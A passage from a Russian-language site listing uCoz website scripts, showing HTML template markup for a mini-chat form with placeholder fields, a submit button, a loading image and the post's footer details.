<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="50%">$FLD_CUSTOM1$</td><td>$FLD_CUSTOM2$</td></tr>  
</table>  
<?endif?>  
<?if($FLD_SECURE$)?>  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="50%">$FLD_SECURE$</td><td align="right">$IMG_SECURE$</td></tr>  
</table>  
<?endif?>  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td width="95%" rowspan="2">$FLD_MESSAGE$</td>  
<td align="center" valign="top"><div style="font-size:10px;">$LENGTH_COUNTER$</div></td>  
</tr><tr><td align="center" valign="bottom">
<div style="width: 30px;"><input value="OK" class="mchat" id="mchatBtn" style="width: 30px;" type="button" onClick="antispam()"><img alt="" style="display: none;" id="mchatAjax" src="http://s20.ucoz.net/img/fr/ajax3.gif" border="0" width="16"></div>  
</td></tr></table>  
<?endif?>
Категория: скрипты для ucoz | Просмотров: 902 | Добавил: startsmart | Дата: 10.01.2013 | Комментарии (0)

« 1 2 ... 11 12 13 14 »